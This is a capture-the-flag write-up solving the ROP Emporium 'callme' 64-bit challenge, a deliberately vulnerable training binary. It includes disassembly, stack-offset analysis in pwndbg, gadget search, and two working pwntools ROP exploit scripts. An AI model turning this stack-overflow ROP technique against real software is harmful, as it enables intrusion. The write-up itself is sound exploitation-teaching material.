ROP Emporium - callme (64 bit)

14 minute read

Lets list our files for this challenge,

ra@moni:~/callme$ ls -la
total 44
drwxrwxr-x  2 ra ra 4096 Jul 15 12:16 .
drwxr-xr-x 40 ra ra 4096 Jul 14 23:47 ..
-rwxr-xr-x  1 ra ra 8808 Jul  6  2020 callme
-rw-r--r--  1 ra ra   32 Jul  6  2020 encrypted_flag.dat
-rw-r--r--  1 ra ra   16 Jul  4  2020 key1.dat
-rw-r--r--  1 ra ra   16 Jul  4  2020 key2.dat
-rwxr-xr-x  1 ra ra 8320 Jul  6  2020 libcallme.so

Now, lets check the file type of our binary using file command,

ra@moni:~/callme$ file callme
callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e8e49880bdcaeb9012c6de5f8002c72d8827ea4c, not stripped

It is a 64 bit not stripped binary, so we can view symbols in it

Lets check the security mitigations of the binary,

ra@moni:~/callme$ checksec callme
[*] '/home/ra/callme/callme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  '.'

Here NX bit is set, so we cannot perform execution in stack

To bypass NX/ASLR we can use ROP techniques

Lets list the functions inside callme,

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x00000000004006a8  _init
0x00000000004006d0  puts@plt
0x00000000004006e0  printf@plt
0x00000000004006f0  callme_three@plt
0x0000000000400700  memset@plt
0x0000000000400710  read@plt
0x0000000000400720  callme_one@plt
0x0000000000400730  setvbuf@plt
0x0000000000400740  callme_two@plt
0x0000000000400750  exit@plt
0x0000000000400760  _start
0x0000000000400790  _dl_relocate_static_pie
0x00000000004007a0  deregister_tm_clones
0x00000000004007d0  register_tm_clones
0x0000000000400810  __do_global_dtors_aux
0x0000000000400840  frame_dummy
0x0000000000400847  main
0x0000000000400898  pwnme
0x00000000004008f2  usefulFunction
0x000000000040093c  usefulGadgets
0x0000000000400940  __libc_csu_init
0x00000000004009b0  __libc_csu_fini
0x00000000004009b4  _fini

Here main() calls pwnme()

And here there are some unsual functions,

usefulFunction() , usefulGadgets()

callme_one() , callme_two() and callme_three()

Here callme_one() , callme_two() and callme_three() are from PLT table which is being dynamically loaded, from a shared library named libcallme.so

Disassembling usefulFunction(),

pwndbg> disassemble usefulFunction
Dump of assembler code for function usefulFunction:
   0x00000000004008f2 <+0>:	push   rbp
   0x00000000004008f3 <+1>:	mov    rbp,rsp
   0x00000000004008f6 <+4>:	mov    edx,0x6
   0x00000000004008fb <+9>:	mov    esi,0x5
   0x0000000000400900 <+14>:	mov    edi,0x4
   0x0000000000400905 <+19>:	call   0x4006f0 <callme_three@plt>
   0x000000000040090a <+24>:	mov    edx,0x6
   0x000000000040090f <+29>:	mov    esi,0x5
   0x0000000000400914 <+34>:	mov    edi,0x4
   0x0000000000400919 <+39>:	call   0x400740 <callme_two@plt>
   0x000000000040091e <+44>:	mov    edx,0x6
   0x0000000000400923 <+49>:	mov    esi,0x5
   0x0000000000400928 <+54>:	mov    edi,0x4
   0x000000000040092d <+59>:	call   0x400720 <callme_one@plt>
   0x0000000000400932 <+64>:	mov    edi,0x1
   0x0000000000400937 <+69>:	call   0x400750 <exit@plt>
End of assembler dump.

Here, these functions are called by args (4,5,6)/(edi,esi,edx) which is not suitable for us (Given in HINT)

So calling this function will not be useful

Disassembling usefulGadgets(),

pwndbg> disassemble usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x000000000040093c <+0>:	pop    rdi
   0x000000000040093d <+1>:	pop    rsi
   0x000000000040093e <+2>:	pop    rdx
   0x000000000040093f <+3>:	ret
End of assembler dump.

This gadget will be the key for our ROP attack

Lets disassemble the functions from our shared object

Disassembling callme_one(),

pwndbg> disassemble callme_one
Dump of assembler code for function callme_one:
   0x000000000000081a <+0>:	push   rbp
   0x000000000000081b <+1>:	mov    rbp,rsp
   0x000000000000081e <+4>:	sub    rsp,0x30
   0x0000000000000822 <+8>:	mov    QWORD PTR [rbp-0x18],rdi
   0x0000000000000826 <+12>:	mov    QWORD PTR [rbp-0x20],rsi
   0x000000000000082a <+16>:	mov    QWORD PTR [rbp-0x28],rdx
   0x000000000000082e <+20>:	movabs rax,0xdeadbeefdeadbeef
   0x0000000000000838 <+30>:	cmp    QWORD PTR [rbp-0x18],rax
   0x000000000000083c <+34>:	jne    0x912 <callme_one+248>
   0x0000000000000842 <+40>:	movabs rax,0xcafebabecafebabe
   0x000000000000084c <+50>:	cmp    QWORD PTR [rbp-0x20],rax
   0x0000000000000850 <+54>:	jne    0x912 <callme_one+248>
   0x0000000000000856 <+60>:	movabs rax,0xd00df00dd00df00d
   0x0000000000000860 <+70>:	cmp    QWORD PTR [rbp-0x28],rax
   0x0000000000000864 <+74>:	jne    0x912 <callme_one+248>
   0x000000000000086a <+80>:	mov    QWORD PTR [rbp-0x8],0x0
   0x0000000000000872 <+88>:	lea    rsi,[rip+0x32f]        # 0xba8
   0x0000000000000879 <+95>:	lea    rdi,[rip+0x32a]        # 0xbaa
   0x0000000000000880 <+102>:	call   0x710 <fopen@plt>
   0x0000000000000885 <+107>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000000889 <+111>:	cmp    QWORD PTR [rbp-0x8],0x0
   0x000000000000088e <+116>:	jne    0x8a6 <callme_one+140>
   0x0000000000000890 <+118>:	lea    rdi,[rip+0x329]        # 0xbc0
   0x0000000000000897 <+125>:	call   0x6c0 <puts@plt>
   0x000000000000089c <+130>:	mov    edi,0x1
   0x00000000000008a1 <+135>:	call   0x720 <exit@plt>
   0x00000000000008a6 <+140>:	mov    edi,0x21
   0x00000000000008ab <+145>:	call   0x700 <malloc@plt>
   0x00000000000008b0 <+150>:	mov    QWORD PTR [rip+0x2007a9],rax        # 0x201060 <g_buf>
   0x00000000000008b7 <+157>:	mov    rax,QWORD PTR [rip+0x2007a2]        # 0x201060 <g_buf>
   0x00000000000008be <+164>:	test   rax,rax
   0x00000000000008c1 <+167>:	jne    0x8d9 <callme_one+191>
   0x00000000000008c3 <+169>:	lea    rdi,[rip+0x318]        # 0xbe2
   0x00000000000008ca <+176>:	call   0x6c0 <puts@plt>
   0x00000000000008cf <+181>:	mov    edi,0x1
   0x00000000000008d4 <+186>:	call   0x720 <exit@plt>
   0x00000000000008d9 <+191>:	mov    rax,QWORD PTR [rip+0x200780]        # 0x201060 <g_buf>
   0x00000000000008e0 <+198>:	mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000000008e4 <+202>:	mov    esi,0x21
   0x00000000000008e9 <+207>:	mov    rdi,rax
   0x00000000000008ec <+210>:	call   0x6f0 <fgets@plt>
   0x00000000000008f1 <+215>:	mov    QWORD PTR [rip+0x200768],rax        # 0x201060 <g_buf>
   0x00000000000008f8 <+222>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000008fc <+226>:	mov    rdi,rax
   0x00000000000008ff <+229>:	call   0x6d0 <fclose@plt>
   0x0000000000000904 <+234>:	lea    rdi,[rip+0x2f1]        # 0xbfc
   0x000000000000090b <+241>:	call   0x6c0 <puts@plt>
   0x0000000000000910 <+246>:	jmp    0x928 <callme_one+270>
   0x0000000000000912 <+248>:	lea    rdi,[rip+0x301]        # 0xc1a
   0x0000000000000919 <+255>:	call   0x6c0 <puts@plt>
   0x000000000000091e <+260>:	mov    edi,0x1
   0x0000000000000923 <+265>:	call   0x720 <exit@plt>
   0x0000000000000928 <+270>:	nop
   0x0000000000000929 <+271>:	leave
   0x000000000000092a <+272>:	ret
End of assembler dump.

Disassembling callme_two(),

pwndbg> disassemble callme_two
Dump of assembler code for function callme_two:
   0x000000000000092b <+0>:	push   rbp
   0x000000000000092c <+1>:	mov    rbp,rsp
   0x000000000000092f <+4>:	sub    rsp,0x30
   0x0000000000000933 <+8>:	mov    QWORD PTR [rbp-0x18],rdi
   0x0000000000000937 <+12>:	mov    QWORD PTR [rbp-0x20],rsi
   0x000000000000093b <+16>:	mov    QWORD PTR [rbp-0x28],rdx
   0x000000000000093f <+20>:	movabs rax,0xdeadbeefdeadbeef
   0x0000000000000949 <+30>:	cmp    QWORD PTR [rbp-0x18],rax
   0x000000000000094d <+34>:	jne    0xa14 <callme_two+233>
   0x0000000000000953 <+40>:	movabs rax,0xcafebabecafebabe
   0x000000000000095d <+50>:	cmp    QWORD PTR [rbp-0x20],rax
   0x0000000000000961 <+54>:	jne    0xa14 <callme_two+233>
   0x0000000000000967 <+60>:	movabs rax,0xd00df00dd00df00d
   0x0000000000000971 <+70>:	cmp    QWORD PTR [rbp-0x28],rax
   0x0000000000000975 <+74>:	jne    0xa14 <callme_two+233>
   0x000000000000097b <+80>:	mov    QWORD PTR [rbp-0x8],0x0
   0x0000000000000983 <+88>:	lea    rsi,[rip+0x21e]        # 0xba8
   0x000000000000098a <+95>:	lea    rdi,[rip+0x29e]        # 0xc2f
   0x0000000000000991 <+102>:	call   0x710 <fopen@plt>
   0x0000000000000996 <+107>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000000099a <+111>:	cmp    QWORD PTR [rbp-0x8],0x0
   0x000000000000099f <+116>:	jne    0x9b7 <callme_two+140>
   0x00000000000009a1 <+118>:	lea    rdi,[rip+0x290]        # 0xc38
   0x00000000000009a8 <+125>:	call   0x6c0 <puts@plt>
   0x00000000000009ad <+130>:	mov    edi,0x1
   0x00000000000009b2 <+135>:	call   0x720 <exit@plt>
   0x00000000000009b7 <+140>:	mov    DWORD PTR [rbp-0xc],0x0
   0x00000000000009be <+147>:	mov    DWORD PTR [rbp-0xc],0x0
   0x00000000000009c5 <+154>:	jmp    0xa00 <callme_two+213>
   0x00000000000009c7 <+156>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000009cb <+160>:	mov    rdi,rax
   0x00000000000009ce <+163>:	call   0x6e0 <fgetc@plt>
   0x00000000000009d3 <+168>:	mov    esi,eax
   0x00000000000009d5 <+170>:	mov    rdx,QWORD PTR [rip+0x200684]        # 0x201060 <g_buf>
   0x00000000000009dc <+177>:	mov    eax,DWORD PTR [rbp-0xc]
   0x00000000000009df <+180>:	cdqe
   0x00000000000009e1 <+182>:	add    rax,rdx
   0x00000000000009e4 <+185>:	movzx  ecx,BYTE PTR [rax]
   0x00000000000009e7 <+188>:	mov    rdx,QWORD PTR [rip+0x200672]        # 0x201060 <g_buf>
   0x00000000000009ee <+195>:	mov    eax,DWORD PTR [rbp-0xc]
   0x00000000000009f1 <+198>:	cdqe
   0x00000000000009f3 <+200>:	add    rax,rdx
   0x00000000000009f6 <+203>:	xor    ecx,esi
   0x00000000000009f8 <+205>:	mov    edx,ecx
   0x00000000000009fa <+207>:	mov    BYTE PTR [rax],dl
   0x00000000000009fc <+209>:	add    DWORD PTR [rbp-0xc],0x1
   0x0000000000000a00 <+213>:	cmp    DWORD PTR [rbp-0xc],0xf
   0x0000000000000a04 <+217>:	jle    0x9c7 <callme_two+156>
   0x0000000000000a06 <+219>:	lea    rdi,[rip+0x243]        # 0xc50
   0x0000000000000a0d <+226>:	call   0x6c0 <puts@plt>
   0x0000000000000a12 <+231>:	jmp    0xa2a <callme_two+255>
   0x0000000000000a14 <+233>:	lea    rdi,[rip+0x1ff]        # 0xc1a
   0x0000000000000a1b <+240>:	call   0x6c0 <puts@plt>
   0x0000000000000a20 <+245>:	mov    edi,0x1
   0x0000000000000a25 <+250>:	call   0x720 <exit@plt>
   0x0000000000000a2a <+255>:	nop
   0x0000000000000a2b <+256>:	leave
   0x0000000000000a2c <+257>:	ret
End of assembler dump.

Disassembling callme_three(),

pwndbg> disassemble callme_three
Dump of assembler code for function callme_three:
   0x0000000000000a2d <+0>:	push   rbp
   0x0000000000000a2e <+1>:	mov    rbp,rsp
   0x0000000000000a31 <+4>:	sub    rsp,0x30
   0x0000000000000a35 <+8>:	mov    QWORD PTR [rbp-0x18],rdi
   0x0000000000000a39 <+12>:	mov    QWORD PTR [rbp-0x20],rsi
   0x0000000000000a3d <+16>:	mov    QWORD PTR [rbp-0x28],rdx
   0x0000000000000a41 <+20>:	movabs rax,0xdeadbeefdeadbeef
   0x0000000000000a4b <+30>:	cmp    QWORD PTR [rbp-0x18],rax
   0x0000000000000a4f <+34>:	jne    0xb81 <callme_three+340>
   0x0000000000000a55 <+40>:	movabs rax,0xcafebabecafebabe
   0x0000000000000a5f <+50>:	cmp    QWORD PTR [rbp-0x20],rax
   0x0000000000000a63 <+54>:	jne    0xb81 <callme_three+340>
   0x0000000000000a69 <+60>:	movabs rax,0xd00df00dd00df00d
   0x0000000000000a73 <+70>:	cmp    QWORD PTR [rbp-0x28],rax
   0x0000000000000a77 <+74>:	jne    0xb81 <callme_three+340>
   0x0000000000000a7d <+80>:	mov    QWORD PTR [rbp-0x8],0x0
   0x0000000000000a85 <+88>:	lea    rsi,[rip+0x11c]        # 0xba8
   0x0000000000000a8c <+95>:	lea    rdi,[rip+0x1db]        # 0xc6e
   0x0000000000000a93 <+102>:	call   0x710 <fopen@plt>
   0x0000000000000a98 <+107>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000000a9c <+111>:	cmp    QWORD PTR [rbp-0x8],0x0
   0x0000000000000aa1 <+116>:	jne    0xab9 <callme_three+140>
   0x0000000000000aa3 <+118>:	lea    rdi,[rip+0x1cd]        # 0xc77
   0x0000000000000aaa <+125>:	call   0x6c0 <puts@plt>
   0x0000000000000aaf <+130>:	mov    edi,0x1
   0x0000000000000ab4 <+135>:	call   0x720 <exit@plt>
   0x0000000000000ab9 <+140>:	mov    DWORD PTR [rbp-0xc],0x10
   0x0000000000000ac0 <+147>:	mov    DWORD PTR [rbp-0xc],0x10
   0x0000000000000ac7 <+154>:	jmp    0xb02 <callme_three+213>
   0x0000000000000ac9 <+156>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000acd <+160>:	mov    rdi,rax
   0x0000000000000ad0 <+163>:	call   0x6e0 <fgetc@plt>
   0x0000000000000ad5 <+168>:	mov    esi,eax
   0x0000000000000ad7 <+170>:	mov    rdx,QWORD PTR [rip+0x200582]        # 0x201060 <g_buf>
   0x0000000000000ade <+177>:	mov    eax,DWORD PTR [rbp-0xc]
   0x0000000000000ae1 <+180>:	cdqe
   0x0000000000000ae3 <+182>:	add    rax,rdx
   0x0000000000000ae6 <+185>:	movzx  ecx,BYTE PTR [rax]
   0x0000000000000ae9 <+188>:	mov    rdx,QWORD PTR [rip+0x200570]        # 0x201060 <g_buf>
   0x0000000000000af0 <+195>:	mov    eax,DWORD PTR [rbp-0xc]
   0x0000000000000af3 <+198>:	cdqe
   0x0000000000000af5 <+200>:	add    rax,rdx
   0x0000000000000af8 <+203>:	xor    ecx,esi
   0x0000000000000afa <+205>:	mov    edx,ecx
   0x0000000000000afc <+207>:	mov    BYTE PTR [rax],dl
   0x0000000000000afe <+209>:	add    DWORD PTR [rbp-0xc],0x1
   0x0000000000000b02 <+213>:	cmp    DWORD PTR [rbp-0xc],0x1f
   0x0000000000000b06 <+217>:	jle    0xac9 <callme_three+156>
   0x0000000000000b08 <+219>:	mov    rax,QWORD PTR [rip+0x200551]        # 0x201060 <g_buf>
   0x0000000000000b0f <+226>:	add    rax,0x4
   0x0000000000000b13 <+230>:	mov    rax,QWORD PTR [rax]
   0x0000000000000b16 <+233>:	mov    rdx,QWORD PTR [rip+0x200543]        # 0x201060 <g_buf>
   0x0000000000000b1d <+240>:	add    rdx,0x4
   0x0000000000000b21 <+244>:	xor    rax,QWORD PTR [rbp-0x18]
   0x0000000000000b25 <+248>:	mov    QWORD PTR [rdx],rax
   0x0000000000000b28 <+251>:	mov    rax,QWORD PTR [rip+0x200531]        # 0x201060 <g_buf>
   0x0000000000000b2f <+258>:	add    rax,0xc
   0x0000000000000b33 <+262>:	mov    rax,QWORD PTR [rax]
   0x0000000000000b36 <+265>:	mov    rdx,QWORD PTR [rip+0x200523]        # 0x201060 <g_buf>
   0x0000000000000b3d <+272>:	add    rdx,0xc
   0x0000000000000b41 <+276>:	xor    rax,QWORD PTR [rbp-0x20]
   0x0000000000000b45 <+280>:	mov    QWORD PTR [rdx],rax
   0x0000000000000b48 <+283>:	mov    rax,QWORD PTR [rip+0x200511]        # 0x201060 <g_buf>
   0x0000000000000b4f <+290>:	add    rax,0x14
   0x0000000000000b53 <+294>:	mov    rax,QWORD PTR [rax]
   0x0000000000000b56 <+297>:	mov    rdx,QWORD PTR [rip+0x200503]        # 0x201060 <g_buf>
   0x0000000000000b5d <+304>:	add    rdx,0x14
   0x0000000000000b61 <+308>:	xor    rax,QWORD PTR [rbp-0x28]
   0x0000000000000b65 <+312>:	mov    QWORD PTR [rdx],rax
   0x0000000000000b68 <+315>:	mov    rax,QWORD PTR [rip+0x2004f1]        # 0x201060 <g_buf>
   0x0000000000000b6f <+322>:	mov    rdi,rax
   0x0000000000000b72 <+325>:	call   0x6c0 <puts@plt>
   0x0000000000000b77 <+330>:	mov    edi,0x0
   0x0000000000000b7c <+335>:	call   0x720 <exit@plt>
   0x0000000000000b81 <+340>:	lea    rdi,[rip+0x92]        # 0xc1a
   0x0000000000000b88 <+347>:	call   0x6c0 <puts@plt>
   0x0000000000000b8d <+352>:	mov    edi,0x1
   0x0000000000000b92 <+357>:	call   0x720 <exit@plt>
End of assembler dump.

On these three functions, there is a common condition check

   0x0000000000000a35 <+8>:	    mov    QWORD PTR [rbp-0x18],rdi
   0x0000000000000a39 <+12>:	mov    QWORD PTR [rbp-0x20],rsi
   0x0000000000000a3d <+16>:	mov    QWORD PTR [rbp-0x28],rdx
   0x0000000000000a41 <+20>:	movabs rax,0xdeadbeefdeadbeef
   0x0000000000000a4b <+30>:	cmp    QWORD PTR [rbp-0x18],rax
   0x0000000000000a4f <+34>:	jne    0xb81 <callme_three+340>
   0x0000000000000a55 <+40>:	movabs rax,0xcafebabecafebabe
   0x0000000000000a5f <+50>:	cmp    QWORD PTR [rbp-0x20],rax
   0x0000000000000a63 <+54>:	jne    0xb81 <callme_three+340>
   0x0000000000000a69 <+60>:	movabs rax,0xd00df00dd00df00d
   0x0000000000000a73 <+70>:	cmp    QWORD PTR [rbp-0x28],rax
   0x0000000000000a77 <+74>:	jne    0xb81 <callme_three+340>

These functions require three arguments (rdi,rsi,rdx) and compares it with 0xdeadbeefdeadbeef , 0xcafebabecafebabe and 0xd00df00dd00df00d to pass the if loop

So we know the right arguments to be passed into these function,but we need to call it in order (mentioned in HINT) to decrypt our flag

HINT:
You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)

We need to call these functions in the following order,

callme_one(0xdeadbeefdeadbeef,0xcafebabecafebabe,0xd00df00dd00df00d)
                            ↓
callme_two(0xdeadbeefdeadbeef,0xcafebabecafebabe,0xd00df00dd00df00d)
                            ↓
callme_three(0xdeadbeefdeadbeef,0xcafebabecafebabe,0xd00df00dd00df00d)

To perform successful ROP attack, we need to find the buffer space,

pwndbg> b *0x00000000004008e5
Breakpoint 1 at 0x4008e5
pwndbg> r
Starting program: /home/ra/callme/callme
callme by ROP Emporium
x86_64

Hope you read the instructions...

> AAAABBBBCCCCDDDD

Breakpoint 1, 0x00000000004008e5 in pwnme ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 RAX  0x11
 RBX  0x400940 (__libc_csu_init) ◂— push   r15
 RCX  0x7ffff7ccc142 (read+18) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x200
 RDI  0x0
 RSI  0x7fffffffe030 ◂— 'AAAABBBBCCCCDDDD\n'
 R8   0x2
 R9   0x2
 R10  0xfffffffffffff54f
 R11  0x246
 R12  0x400760 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe150 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe050 —▸ 0x7fffffffe060 ◂— 0x0
 RSP  0x7fffffffe030 ◂— 'AAAABBBBCCCCDDDD\n'
 RIP  0x4008e5 (pwnme+77) ◂— mov    edi, 0x400a16
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
  0x4008e5 <pwnme+77>             mov    edi, 0x400a16
   0x4008ea <pwnme+82>             call   puts@plt <puts@plt>

   0x4008ef <pwnme+87>             nop
   0x4008f0 <pwnme+88>             leave
   0x4008f1 <pwnme+89>             ret

   0x4008f2 <usefulFunction>       push   rbp
   0x4008f3 <usefulFunction+1>     mov    rbp, rsp
   0x4008f6 <usefulFunction+4>     mov    edx, 6
   0x4008fb <usefulFunction+9>     mov    esi, 5
   0x400900 <usefulFunction+14>    mov    edi, 4
   0x400905 <usefulFunction+19>    call   callme_three@plt <callme_three@plt>
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000 rsi rsp 0x7fffffffe030 ◂— 'AAAABBBBCCCCDDDD\n'
01:0008         0x7fffffffe038 ◂— 'CCCCDDDD\n'
02:0010         0x7fffffffe040 ◂— 0xa /* '\n' */
03:0018         0x7fffffffe048 ◂— 0x0
04:0020 rbp     0x7fffffffe050 —▸ 0x7fffffffe060 ◂— 0x0
05:0028         0x7fffffffe058 —▸ 0x400887 (main+64) ◂— mov    edi, 0x4009e7
06:0030         0x7fffffffe060 ◂— 0x0
07:0038         0x7fffffffe068 —▸ 0x7ffff7be20b3 (__libc_start_main+243) ◂— mov    edi, eax
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
  f 0         0x4008e5 pwnme+77
   f 1         0x400887 main+64
   f 2   0x7ffff7be20b3 __libc_start_main+243
────────────────────────────────────────────────────────────────────────────────────────────────────

Now lets check our Base Pointer and Stack values,

pwndbg> x/4wx $rbp
0x7fffffffe050:	0xffffe060	0x00007fff	0x00400887	0x00000000
pwndbg> x/20wx $rsp
0x7fffffffe030:	0x41414141	0x42424242	0x43434343	0x44444444
0x7fffffffe040:	0x0000000a	0x00000000	0x00000000	0x00000000
0x7fffffffe050:	0xffffe060	0x00007fff	0x00400887	0x00000000
0x7fffffffe060:	0x00000000	0x00000000	0xf7be20b3	0x00007fff
0x7fffffffe070:	0xf7ffc620	0x00007fff	0xffffe158	0x00007fff

Our base pointer is at 0x7fffffffe050 and our buffer begins at 0x7fffffffe030

>>> print(0x7fffffffe050-0x7fffffffe030)
32

Our buffer space is 32 bytes

To reach Instruction Pointer we need to pass 40 bytes (32+8) of junk data

Lets find the suitable gadget for our ROP chain,

ra@moni:~/callme$ ropper -f callme --search pop
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop

[INFO] File: callme
0x000000000040099c: pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040099e: pop r13; pop r14; pop r15; ret;
0x00000000004009a0: pop r14; pop r15; ret;
0x00000000004009a2: pop r15; ret;
0x00000000004007bb: pop rbp; mov edi, 0x601070; jmp rax;
0x000000000040099b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040099f: pop rbp; pop r14; pop r15; ret;
0x00000000004007c8: pop rbp; ret;
0x000000000040093c: pop rdi; pop rsi; pop rdx; ret;
0x00000000004009a3: pop rdi; ret;
0x000000000040093e: pop rdx; ret;
0x00000000004009a1: pop rsi; pop r15; ret;
0x000000000040093d: pop rsi; pop rdx; ret;
0x000000000040099d: pop rsp; pop r13; pop r14; pop r15; ret;

Here 0x000000000040093c: pop rdi; pop rsi; pop rdx; ret; is the suitable ROP gadget, because we are using 3 input arguments which should be loaded into RDI,RSI,RDX respectively

Address of our RDI_RSI_RDX ROP gadget is 0x000000000040093c

Lets build the ROP chain,


40 bytes of junk
       +
Addr of ROP Gadget
       +
Args for function
       +
Addr of callme_one
       +
Addr of ROP Gadget
       +
Args for function
       +
Addr of callme_two
       +
Addr of ROP Gadget
       +
Args for function
       +
Addr of callme_three

Lets craft an exploit for this,

ra@moni:~/callme$ cat exp64.py
from pwn import *
rop_gadget=p64(0x000000000040093c)
arg1=p64(0xdeadbeefdeadbeef)
arg2=p64(0xcafebabecafebabe)
arg3=p64(0xd00df00dd00df00d)
callme_one=p64(0x0000000000400720)
callme_two=p64(0x0000000000400740)
callme_three=p64(0x00000000004006f0)
junk='A'*40
buff=""
buff+=junk
buff+=rop_gadget
buff+=arg1+arg2+arg3
buff+=callme_one
buff+=rop_gadget
buff+=arg1+arg2+arg3
buff+=callme_two
buff+=rop_gadget
buff+=arg1+arg2+arg3
buff+=callme_three
print(buff)

Lets try running our exploit,

ra@moni:~/callme$ python2 exp64.py  | ./callme
callme by ROP Emporium
x86_64

Hope you read the instructions...

> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}

Its time to automate our exploit,

ra@moni:~/callme$ cat exp64-auto.py
from pwn import *
bin=ELF('./callme')
p=process('./callme')
arg1=p64(0xdeadbeefdeadbeef)
arg2=p64(0xcafebabecafebabe)
arg3=p64(0xd00df00dd00df00d)
callme_one=p64(bin.symbols['callme_one'])
callme_two=p64(bin.symbols['callme_two'])
callme_three=p64(bin.symbols['callme_three'])
rop=ROP(bin)
gadget=rop.rdi_rsi_rdx
gadget=p64(gadget.address)
buff=""
buff+='A'*40
buff+=gadget
buff+=arg1+arg2+arg3
buff+=callme_one
buff+=gadget
buff+=arg1+arg2+arg3
buff+=callme_two
buff+=gadget
buff+=arg1+arg2+arg3
buff+=callme_three
p.sendline(buff)
p.interactive()

Lets run our exploit,

ra@moni:~/callme$ python2 exp64-auto.py
[*] '/home/ra/callme/callme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  '.'
[+] Starting local process './callme': pid 21637
[*] Loaded 17 cached gadgets for './callme'
[*] Switching to interactive mode
[*] Process './callme' stopped with exit code 0 (pid 21637)
callme by ROP Emporium
x86_64

Hope you read the instructions...

> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$

Done! we have completed “callme” 64 bit challenge